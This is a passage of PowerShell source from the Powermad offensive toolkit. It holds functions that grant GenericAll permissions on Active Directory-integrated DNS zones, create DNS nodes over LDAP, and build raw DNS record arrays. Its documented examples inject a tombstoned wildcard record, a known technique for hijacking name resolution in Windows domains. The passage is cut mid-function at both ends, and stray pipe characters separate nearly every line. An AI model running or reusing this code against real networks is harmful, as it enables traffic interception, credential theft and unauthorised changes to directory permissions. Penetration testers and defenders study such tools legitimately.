[CmdletBinding()]
|
||
|
param
|
||
|
(
|
||
|
[parameter(Mandatory=$false)][ValidateSet("AccessSystemSecurity","CreateChild","Delete","DeleteChild",
|
||
|
"DeleteTree","ExtendedRight","GenericAll","GenericExecute","GenericRead","GenericWrite","ListChildren",
|
||
|
"ListObject","ReadControl","ReadProperty","Self","Synchronize","WriteDacl","WriteOwner","WriteProperty")][Array]$Access = "GenericAll",
|
||
|
[parameter(Mandatory=$false)][ValidateSet("Allow","Deny")][String]$Type = "Allow",
|
||
|
[parameter(Mandatory=$false)][String]$DistinguishedName,
|
||
|
[parameter(Mandatory=$false)][String]$Domain,
|
||
|
[parameter(Mandatory=$false)][String]$DomainController,
|
||
|
[parameter(Mandatory=$false)][String]$Node,
|
||
|
[parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
|
||
|
[parameter(Mandatory=$false)][String]$Principal,
|
||
|
[parameter(Mandatory=$false)][String]$Zone,
|
||
|
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
|
||
|
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
|
||
|
)
|
||
|
|
||
|
if($invalid_parameter)
|
||
|
{
|
||
|
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
if(!$DomainController -or !$Domain -or !$Zone)
|
||
|
{
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
if(!$DomainController)
|
||
|
{
|
||
|
$DomainController = $current_domain.PdcRoleOwner.Name
|
||
|
Write-Verbose "[+] Domain Controller = $DomainController"
|
||
|
}
|
||
|
|
||
|
if(!$Domain)
|
||
|
{
|
||
|
$Domain = $current_domain.Name
|
||
|
Write-Verbose "[+] Domain = $Domain"
|
||
|
}
|
||
|
|
||
|
if(!$Zone)
|
||
|
{
|
||
|
$Zone = $current_domain.Name
|
||
|
Write-Verbose "[+] ADIDNS Zone = $Zone"
|
||
|
}
|
||
|
|
||
|
if(!$DistinguishedName)
|
||
|
{
|
||
|
|
||
|
if($Node)
|
||
|
{
|
||
|
|
||
|
if($Partition -eq 'System')
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
|
||
|
}
|
||
|
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
|
||
|
if($Partition -eq 'System')
|
||
|
{
|
||
|
$distinguished_name = "DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = "DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
$DC_array = $Domain.Split(".")
|
||
|
|
||
|
ForEach($DC in $DC_array)
|
||
|
{
|
||
|
$distinguished_name += ",DC=$DC"
|
||
|
}
|
||
|
|
||
|
Write-Verbose "[+] Distinguished Name = $distinguished_name"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = $DistinguishedName
|
||
|
}
|
||
|
|
||
|
if($Credential)
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
|
||
|
}
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$NT_account = New-Object System.Security.Principal.NTAccount($Principal)
|
||
|
$principal_SID = $NT_account.Translate([System.Security.Principal.SecurityIdentifier])
|
||
|
$principal_identity = [System.Security.Principal.IdentityReference]$principal_SID
|
||
|
$AD_rights = [System.DirectoryServices.ActiveDirectoryRights]$Access
|
||
|
$access_control_type = [System.Security.AccessControl.AccessControlType]$Type
|
||
|
$AD_security_inheritance = [System.DirectoryServices.ActiveDirectorySecurityInheritance]"All"
|
||
|
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($principal_identity,$AD_rights,$access_control_type,$AD_security_inheritance)
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$directory_entry.psbase.ObjectSecurity.AddAccessRule($ACE)
|
||
|
$directory_entry.psbase.CommitChanges()
|
||
|
|
||
|
if($Node)
|
||
|
{
|
||
|
Write-Output "[+] ACE added for $Principal to $Node DACL"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
Write-Output "[+] ACE added for $Principal to $Zone DACL"
|
||
|
}
|
||
|
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
}
|
||
|
|
||
|
if($directory_entry.Path)
|
||
|
{
|
||
|
$directory_entry.Close()
|
||
|
}
|
||
|
|
||
|
return $output
|
||
|
}
|
||
|
|
||
|
function New-ADIDNSNode
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
This function adds a DNS node to an Active Directory-Integrated DNS (ADIDNS) Zone through an encrypted LDAP
|
||
|
add request.
|
||
|
|
||
|
Author: Kevin Robertson (@kevin_robertson)
|
||
|
License: BSD 3-Clause
|
||
|
|
||
|
.DESCRIPTION
|
||
|
This function creates an ADIDNS record by connecting to LDAP and adding an object of type dnsNode.
|
||
|
|
||
|
.PARAMETER Credential
|
||
|
PSCredential object that will be used to add the ADIDNS node.
|
||
|
|
||
|
.PARAMETER Data
|
||
|
For most record types this will be the destination hostname or IP address. For TXT records this can be used
|
||
|
for data.
|
||
|
|
||
|
.PARAMETER DistinguishedName
|
||
|
Distinguished name for the ADIDNS zone. Do not include the node name.
|
||
|
|
||
|
.PARAMETER DNSRecord
|
||
|
dnsRecord attribute byte array. If not specified, New-DNSRecordArray will generate the array. See MS-DNSP for
|
||
|
details on the dnsRecord structure.
|
||
|
|
||
|
.PARAMETER Domain
|
||
|
The targeted domain in DNS format. This parameter is mandatory on a non-domain attached system.
|
||
|
|
||
|
.PARAMETER DomainController
|
||
|
Domain controller to target. This parameter is mandatory on a non-domain attached system.
|
||
|
|
||
|
.PARAMETER Forest
|
||
|
The targeted forest in DNS format. This parameter is mandatory on a non-domain attached system.
|
||
|
|
||
|
.PARAMETER Node
|
||
|
The ADIDNS node name.
|
||
|
|
||
|
.PARAMETER Partition
|
||
|
Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.
|
||
|
|
||
|
.PARAMETER Port
|
||
|
SRV record port.
|
||
|
|
||
|
.PARAMETER Preference
|
||
|
MX record preference.
|
||
|
|
||
|
.PARAMETER Priority
|
||
|
SRV record priority.
|
||
|
|
||
|
.PARAMETER Tombstone
|
||
|
Switch: Sets the dnsTombstoned flag to true when the node is created. This places the node in a state that
|
||
|
allows it to be modified or fully tombstoned by any authenticated user.
|
||
|
|
||
|
.PARAMETER SOASerialNumber
|
||
|
The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a
|
||
|
DNS server and querying an SOA record.
|
||
|
|
||
|
.PARAMETER Static
|
||
|
Switch: Zeros out the timestamp to create a static record instead of a dynamic.
|
||
|
|
||
|
.PARAMETER TTL
|
||
|
Default = 600: DNS record TTL.
|
||
|
|
||
|
.PARAMETER Type
|
||
|
Default = A: DNS record type. This function supports A, AAAA, CNAME, DNAME, NS, MX, PTR, SRV, and TXT.
|
||
|
|
||
|
.PARAMETER Weight
|
||
|
SRV record weight.
|
||
|
|
||
|
.PARAMETER Zone
|
||
|
The ADIDNS zone. This parameter is mandatory on a non-domain attached system.
|
||
|
|
||
|
.EXAMPLE
|
||
|
Add a wildcard record to an ADIDNS zone and tombstones the node.
|
||
|
New-ADIDNSNode -Node * -Tombstone
|
||
|
|
||
|
.EXAMPLE
|
||
|
Add a wildcard record to an ADIDNS zone from a non-domain attached system.
|
||
|
$credential = Get-Credential
|
||
|
New-ADIDNSNode -Node * -DomainController dc1.test.local -Domain test.local -Zone test.local -Credential $credential
|
||
|
|
||
|
.LINK
|
||
|
https://github.com/Kevin-Robertson/Powermad
|
||
|
#>
|
||
|
|
||
|
[CmdletBinding()]
|
||
|
param
|
||
|
(
|
||
|
[parameter(Mandatory=$false)][String]$Data,
|
||
|
[parameter(Mandatory=$false)][String]$DistinguishedName,
|
||
|
[parameter(Mandatory=$false)][String]$Domain,
|
||
|
[parameter(Mandatory=$false)][String]$DomainController,
|
||
|
[parameter(Mandatory=$false)][String]$Forest,
|
||
|
[parameter(Mandatory=$true)][String]$Node,
|
||
|
[parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
|
||
|
[parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A",
|
||
|
[parameter(Mandatory=$false)][String]$Zone,
|
||
|
[parameter(Mandatory=$false)][Byte[]]$DNSRecord,
|
||
|
[parameter(Mandatory=$false)][Int]$Preference,
|
||
|
[parameter(Mandatory=$false)][Int]$Priority,
|
||
|
[parameter(Mandatory=$false)][Int]$Weight,
|
||
|
[parameter(Mandatory=$false)][Int]$Port,
|
||
|
[parameter(Mandatory=$false)][Int]$TTL = 600,
|
||
|
[parameter(Mandatory=$false)][Int32]$SOASerialNumber,
|
||
|
[parameter(Mandatory=$false)][Switch]$Static,
|
||
|
[parameter(Mandatory=$false)][Switch]$Tombstone,
|
||
|
[parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
|
||
|
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
|
||
|
)
|
||
|
|
||
|
if($invalid_parameter)
|
||
|
{
|
||
|
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
$null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols")
|
||
|
|
||
|
if(!$DomainController -or !$Domain -or !$Zone -or !$Forest)
|
||
|
{
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
if(!$DomainController)
|
||
|
{
|
||
|
$DomainController = $current_domain.PdcRoleOwner.Name
|
||
|
Write-Verbose "[+] Domain Controller = $DomainController"
|
||
|
}
|
||
|
|
||
|
if(!$Domain)
|
||
|
{
|
||
|
$Domain = $current_domain.Name
|
||
|
Write-Verbose "[+] Domain = $Domain"
|
||
|
}
|
||
|
|
||
|
if(!$Forest)
|
||
|
{
|
||
|
$Forest = $current_domain.Forest
|
||
|
Write-Verbose "[+] Forest = $Forest"
|
||
|
}
|
||
|
|
||
|
if(!$Zone)
|
||
|
{
|
||
|
$Zone = $current_domain.Name
|
||
|
Write-Verbose "[+] ADIDNS Zone = $Zone"
|
||
|
}
|
||
|
|
||
|
if(!$DistinguishedName)
|
||
|
{
|
||
|
|
||
|
if($Partition -eq 'System')
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
|
||
|
}
|
||
|
|
||
|
$DC_array = $Domain.Split(".")
|
||
|
|
||
|
ForEach($DC in $DC_array)
|
||
|
{
|
||
|
$distinguished_name += ",DC=$DC"
|
||
|
}
|
||
|
|
||
|
Write-Verbose "[+] Distinguished Name = $distinguished_name"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$distinguished_name = "DC=$Node," + $DistinguishedName
|
||
|
}
|
||
|
|
||
|
if(!$DNSRecord)
|
||
|
{
|
||
|
|
||
|
try
|
||
|
{
|
||
|
|
||
|
if($Static)
|
||
|
{
|
||
|
$DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Zone $Zone -Static
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Zone $Zone
|
||
|
}
|
||
|
|
||
|
Write-Verbose "[+] DNSRecord = $([System.Bitconverter]::ToString($DNSRecord))"
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
$identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389)
|
||
|
|
||
|
if($Credential)
|
||
|
{
|
||
|
$connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier,$Credential.GetNetworkCredential())
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier)
|
||
|
}
|
||
|
|
||
|
$object_category = "CN=Dns-Node,CN=Schema,CN=Configuration"
|
||
|
$forest_array = $Forest.Split(".")
|
||
|
|
||
|
ForEach($DC in $forest_array)
|
||
|
{
|
||
|
$object_category += ",DC=$DC"
|
||
|
}
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$connection.SessionOptions.Sealing = $true
|
||
|
$connection.SessionOptions.Signing = $true
|
||
|
$connection.Bind()
|
||
|
$request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest
|
||
|
$request.DistinguishedName = $distinguished_name
|
||
|
$request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass",@("top","dnsNode"))) > $null
|
||
|
$request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectCategory",$object_category)) > $null
|
||
|
$request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "dnsRecord",$DNSRecord)) > $null
|
||
|
|
||
|
if($Tombstone)
|
||
|
{
|
||
|
$request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "dNSTombstoned","TRUE")) > $null
|
||
|
}
|
||
|
|
||
|
$connection.SendRequest($request) > $null
|
||
|
Write-Output "[+] ADIDNS node $Node added"
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
function New-SOASerialNumberArray
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
This function gets the current SOA serial number for a DNS zone and increments it by the
|
||
|
set amount.
|
||
|
|
||
|
Author: Kevin Robertson (@kevin_robertson)
|
||
|
License: BSD 3-Clause
|
||
|
|
||
|
.DESCRIPTION
|
||
|
This function can be used to create a byte array which contains the correct SOA serial number for the
|
||
|
next record that will be created with New-DNSRecordArray.
|
||
|
|
||
|
.PARAMETER DomainController
|
||
|
Domain controller to target. This parameter is mandatory on a non-domain attached system.
|
||
|
|
||
|
.PARAMETER Zone
|
||
|
The DNS zone.
|
||
|
|
||
|
.PARAMETER Increment
|
||
|
Default = 1: The number that will be added to the SOA serial number pulled from a DNS server.
|
||
|
|
||
|
.PARAMETER SOASerialNumber
|
||
|
The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a
|
||
|
DNS server and querying an SOA record.
|
||
|
|
||
|
.EXAMPLE
|
||
|
Generate a byte array from the currect SOA serial number incremented by one.
|
||
|
New-SOASerialNumberArray
|
||
|
|
||
|
.LINK
|
||
|
https://github.com/Kevin-Robertson/Powermad
|
||
|
#>
|
||
|
|
||
|
[CmdletBinding()]
|
||
|
param
|
||
|
(
|
||
|
[parameter(Mandatory=$false)][String]$DomainController,
|
||
|
[parameter(Mandatory=$false)][String]$Zone,
|
||
|
[parameter(Mandatory=$false)][Int]$Increment = 1,
|
||
|
[parameter(Mandatory=$false)][Int32]$SOASerialNumber,
|
||
|
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
|
||
|
)
|
||
|
|
||
|
if($invalid_parameter)
|
||
|
{
|
||
|
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
if(!$SOASerialNumber)
|
||
|
{
|
||
|
|
||
|
if(!$DomainController -or !$Zone)
|
||
|
{
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
}
|
||
|
|
||
|
if(!$DomainController)
|
||
|
{
|
||
|
$DomainController = $current_domain.PdcRoleOwner.Name
|
||
|
Write-Verbose "[+] Domain Controller = $DomainController"
|
||
|
}
|
||
|
|
||
|
if(!$Domain)
|
||
|
{
|
||
|
$Domain = $current_domain.Name
|
||
|
Write-Verbose "[+] Domain = $Domain"
|
||
|
}
|
||
|
|
||
|
if(!$Zone)
|
||
|
{
|
||
|
$Zone = $current_domain.Name
|
||
|
Write-Verbose "[+] ADIDNS Zone = $Zone"
|
||
|
}
|
||
|
|
||
|
$Zone = $Zone.ToLower()
|
||
|
|
||
|
function Convert-DataToUInt16($Field)
|
||
|
{
|
||
|
[Array]::Reverse($Field)
|
||
|
return [System.BitConverter]::ToUInt16($Field,0)
|
||
|
}
|
||
|
|
||
|
function ConvertFrom-PacketOrderedDictionary($OrderedDictionary)
|
||
|
{
|
||
|
|
||
|
ForEach($field in $OrderedDictionary.Values)
|
||
|
{
|
||
|
$byte_array += $field
|
||
|
}
|
||
|
|
||
|
return $byte_array
|
||
|
}
|
||
|
|
||
|
function New-RandomByteArray
|
||
|
{
|
||
|
param([Int]$Length,[Int]$Minimum=1,[Int]$Maximum=255)
|
||
|
|
||
|
[String]$random = [String](1..$Length | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum $Minimum -Maximum $Maximum)})
|
||
|
[Byte[]]$random = $random.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
|
||
|
|
||
|
return $random
|
||
|
}
|
||
|
|
||
|
function New-DNSNameArray
|
||
|
{
|
||
|
param([String]$Name)
|
||
|
|
||
|
$character_array = $Name.ToCharArray()
|
||
|
[Array]$index_array = 0..($character_array.Count - 1) | Where-Object {$character_array[$_] -eq '.'}
|
||
|
|
||
|
if($index_array.Count -gt 0)
|
||
|
{
|
||
|
|
||
|
$name_start = 0
|
||
|
|
||
|
ForEach ($index in $index_array)
|
||
|
{
|
||
|
$name_end = $index - $name_start
|
||
|
[Byte[]]$name_array += $name_end
|
||
|
[Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start,$name_end))
|
||
|
$name_start = $index + 1
|
||
|
}
|
||
|
|
||
|
[Byte[]]$name_array += ($Name.Length - $name_start)
|
||
|
[Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start))
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
[Byte[]]$name_array = $Name.Length
|
||
|
[Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start))
|
||
|
}
|
||
|
|
||
|
return $name_array
|
||
|
}
|
||
|
|
||
|
function New-PacketDNSSOAQuery
|
||
|
{
|
||
|
param([String]$Name)
|
||
|
|
||
|
[Byte[]]$type = 0x00,0x06
|
||
|
[Byte[]]$name = (New-DNSNameArray $Name) + 0x00
|
||
|
[Byte[]]$length = [System.BitConverter]::GetBytes($Name.Count + 16)[1,0]
|
||
|
[Byte[]]$transaction_ID = New-RandomByteArray 2
|
||
|
$DNSQuery = New-Object System.Collections.Specialized.OrderedDictionary
|
||
|
$DNSQuery.Add("Length",$length)
|
||
|
$DNSQuery.Add("TransactionID",$transaction_ID)
|
||
|
$DNSQuery.Add("Flags",[Byte[]](0x01,0x00))
|
||
|
$DNSQuery.Add("Questions",[Byte[]](0x00,0x01))
|
||
|
$DNSQuery.Add("AnswerRRs",[Byte[]](0x00,0x00))
|
||
|
$DNSQuery.Add("AuthorityRRs",[Byte[]](0x00,0x00))
|
||
|
$DNSQuery.Add("AdditionalRRs",[Byte[]](0x00,0x00))
|
||
|
$DNSQuery.Add("Queries_Name",$name)
|
||
|
$DNSQuery.Add("Queries_Type",$type)
|
||
|
$DNSQuery.Add("Queries_Class",[Byte[]](0x00,0x01))
|
||
|
|
||
|
return $DNSQuery
|
||
|
}
|
||
|
|
||
|
$DNS_client = New-Object System.Net.Sockets.TCPClient
|
||
|
$DNS_client.Client.ReceiveTimeout = 3000
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$DNS_client.Connect($DomainController,"53")
|
||
|
$DNS_client_stream = $DNS_client.GetStream()
|
||
|
$DNS_client_receive = New-Object System.Byte[] 2048
|
||
|
$packet_DNSQuery = New-PacketDNSSOAQuery $Zone
|
||
|
[Byte[]]$DNS_client_send = ConvertFrom-PacketOrderedDictionary $packet_DNSQuery
|
||
|
$DNS_client_stream.Write($DNS_client_send,0,$DNS_client_send.Length) > $null
|
||
|
$DNS_client_stream.Flush()
|
||
|
$DNS_client_stream.Read($DNS_client_receive,0,$DNS_client_receive.Length) > $null
|
||
|
$DNS_client.Close()
|
||
|
$DNS_client_stream.Close()
|
||
|
|
||
|
if($DNS_client_receive[9] -eq 0)
|
||
|
{
|
||
|
Write-Output "[-] $Zone SOA record not found"
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
$DNS_reply_converted = [System.BitConverter]::ToString($DNS_client_receive)
|
||
|
$DNS_reply_converted = $DNS_reply_converted -replace "-",""
|
||
|
$SOA_answer_index = $DNS_reply_converted.IndexOf("C00C00060001")
|
||
|
$SOA_answer_index = $SOA_answer_index / 2
|
||
|
$SOA_length = $DNS_client_receive[($SOA_answer_index + 10)..($SOA_answer_index + 11)]
|
||
|
$SOA_length = Convert-DataToUInt16 $SOA_length
|
||
|
[Byte[]]$SOA_serial_current_array = $DNS_client_receive[($SOA_answer_index + $SOA_length - 8)..($SOA_answer_index + $SOA_length - 5)]
|
||
|
$SOA_serial_current = [System.BitConverter]::ToUInt32($SOA_serial_current_array[3..0],0) + $Increment
|
||
|
[Byte[]]$SOA_serial_number_array = [System.BitConverter]::GetBytes($SOA_serial_current)[0..3]
|
||
|
}
|
||
|
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $DomainController did not respond on TCP port 53"
|
||
|
}
|
||
|
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
[Byte[]]$SOA_serial_number_array = [System.BitConverter]::GetBytes($SOASerialNumber + $Increment)[0..3]
|
||
|
}
|
||
|
|
||
|
return ,$SOA_serial_number_array
|
||
|
}
|
||
|
|
||
|
function New-DNSRecordArray
|
||
|
{
|
||
|
<#
|
||
|
.SYNOPSIS
|
||
|
This function creates a valid byte array for the dnsRecord attribute.
|
||
|
|
||
|
Author: Kevin Robertson (@kevin_robertson)
|
||
|
License: BSD 3-Clause
|
||
|
|
||
|
.DESCRIPTION
|
||
|
DNS record types and targets are defined within the dnsRecord attribute. This function will create a valid
|
||
|
array for record type and data. The arrays can be passed to both New-ADIDNSNode and Set-ADIDNSNodeAttribute
|
||
|
|
||
|
.PARAMETER Data
|
||
|
For most record types this will be the destination hostname or IP address. For TXT records this can be used
|
||
|
for data.
|
||
|
|
||
|
.PARAMETER DomainController
|
||
|
Domain controller that will be passed to New-SOASerialNumberArray. This parameter is mandatory on a non-domain
|
||
|
attached system.
|
||
|
|
||
|
.PARAMETER Port
|
||
|
SRV record port.
|
||
|
|
||
|
.PARAMETER Preference
|
||
|
MX record preference.
|
||
|
|
||
|
.PARAMETER Priority
|
||
|
SRV record priority.
|
||
|
|
||
|
.PARAMETER SOASerialNumber
|
||
|
The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a
|
||
|
DNS server and querying an SOA record.
|
||
|
|
||
|
.PARAMETER Static
|
||
|
Switch: Zeros out the timestamp to create a static record instead of a dynamic.
|
||
|
|
||
|
.PARAMETER TTL
|
||
|
Default = 600: DNS record TTL.
|
||
|
|
||
|
.PARAMETER Type
|
||
|
Default = A: DNS record type. This function supports A, AAAA, CNAME, DNAME, MX, PTR, SRV, and TXT.
|
||
|
|
||
|
.PARAMETER Weight
|
||
|
SRV record weight.
|
||
|
|
||
|
.PARAMETER Zone
|
||
|
The DNS zone that will be passed to New-SOASerialNumberArray.
|
||
|
|
||
|
.EXAMPLE
|
||
|
Create a dnsRecord array for an A record pointing to 192.168.0.1.
|
||
|
New-DNSRecordArray -Type A -Data 192.168.0.1
|
||
|
|
||
|
.LINK
|
||
|
https://github.com/Kevin-Robertson/Powermad
|
||
|
#>
|
||
|
|
||
|
[CmdletBinding()]
|
||
|
[OutputType([Byte[]])]
|
||
|
param
|
||
|
(
|
||
|
[parameter(Mandatory=$false)][String]$Data,
|
||
|
[parameter(Mandatory=$false)][String]$DomainController,
|
||
|
[parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A",
|
||
|
[parameter(Mandatory=$false)][String]$Zone,
|
||
|
[parameter(Mandatory=$false)][Int]$Preference,
|
||
|
[parameter(Mandatory=$false)][Int]$Priority,
|
||
|
[parameter(Mandatory=$false)][Int]$Weight,
|
||
|
[parameter(Mandatory=$false)][Int]$Port,
|
||
|
[parameter(Mandatory=$false)][Int]$TTL = 600,
|
||
|
[parameter(Mandatory=$false)][Int32]$SOASerialNumber,
|
||
|
[parameter(Mandatory=$false)][Switch]$Static,
|
||
|
[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
|
||
|
)
|
||
|
|
||
|
if($invalid_parameter)
|
||
|
{
|
||
|
Write-Output "[-] $($invalid_parameter) is not a valid parameter"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
if(!$Data -and $Type -eq 'A')
|
||
|
{
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$Data = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address)
|
||
|
Write-Verbose "[+] Data = $Data"
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] Error finding local IP, specify manually with -Data"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
}
|
||
|
elseif(!$Data)
|
||
|
{
|
||
|
Write-Output "[-] -Data required with record type $Type"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
try
|
||
|
{
|
||
|
$SOASerialNumberArray = New-SOASerialNumberArray -DomainController $DomainController -Zone $Zone -SOASerialNumber $SOASerialNumber
|
||
|
}
|
||
|
catch
|
||
|
{
|
||
|
Write-Output "[-] $($_.Exception.Message)"
|
||
|
throw
|
||
|
}
|
||
|
|
||
|
function New-DNSNameArray
|
||
|
{
|
||
|
param([String]$Name)
|
||
|
|
||
|
$character_array = $Name.ToCharArray()
|
||
|
[Array]$index_array = 0..($character_array.Count - 1) | Where-Object {$character_array[$_] -eq '.'}
|
||
|
|
||
|
if($index_array.Count -gt 0)
|
||
|
{
|
||
|
|
||
|
$name_start = 0
|
||
|
|
||
|
ForEach ($index in $index_array)
|
||
|
{
|
||
|
$name_end = $index - $name_start
|
||
|
[Byte[]]$name_array += $name_end
|
||
|
[Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start,$name_end))
|
||
|
$name_start = $index + 1
|
||
|
}
|
||
|
|
||
|
[Byte[]]$name_array += ($Name.Length - $name_start)
|
||
|
[Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start))
|
||
|
}
|
||
|
else
|
||
|
{
|
||
|
[Byte[]]$name_array = $Name.Length
|
||
|
[Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start))
|
||
|
}
|
||
|
|
||
|
return $name_array
|
||
|
}
|
||
|
|
||
|
switch ($Type)
|
||
|
{
|
||
|
|
||
|
'A'
|
||
|
{
|
||
|
[Byte[]]$DNS_type = 0x01,0x00
|
||
|
[Byte[]]$DNS_length = ([System.BitConverter]::GetBytes(($Data.Split(".")).Count))[0..1]
|
||
|
[Byte[]]$DNS_data += ([System.Net.IPAddress][String]([System.Net.IPAddress]$Data)).GetAddressBytes()
|
||
|
}
|
||
|
|
||
|
'AAAA'
|
||
|
{
|
||
|
[Byte[]]$DNS_type = 0x1c,0x00
|
||
|
[Byte[]]$DNS_length = ([System.BitConverter]::GetBytes(($Data -replace ":","").Length / 2))[0..1]
|
||
|
[Byte[]]$DNS_data += ([System.Net.IPAddress][String]([System.Net.IPAddress]$Data)).GetAddressBytes()
|
||
|
}
|
||
|
|
||
|
'CNAME'
|
||
|
{
|
||
|
[Byte[]]$DNS_type = 0x05,0x00
|
||
|
[Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1]
|
||
|
[Byte[]]$DNS_data = $Data.Length + 2
|
||
|
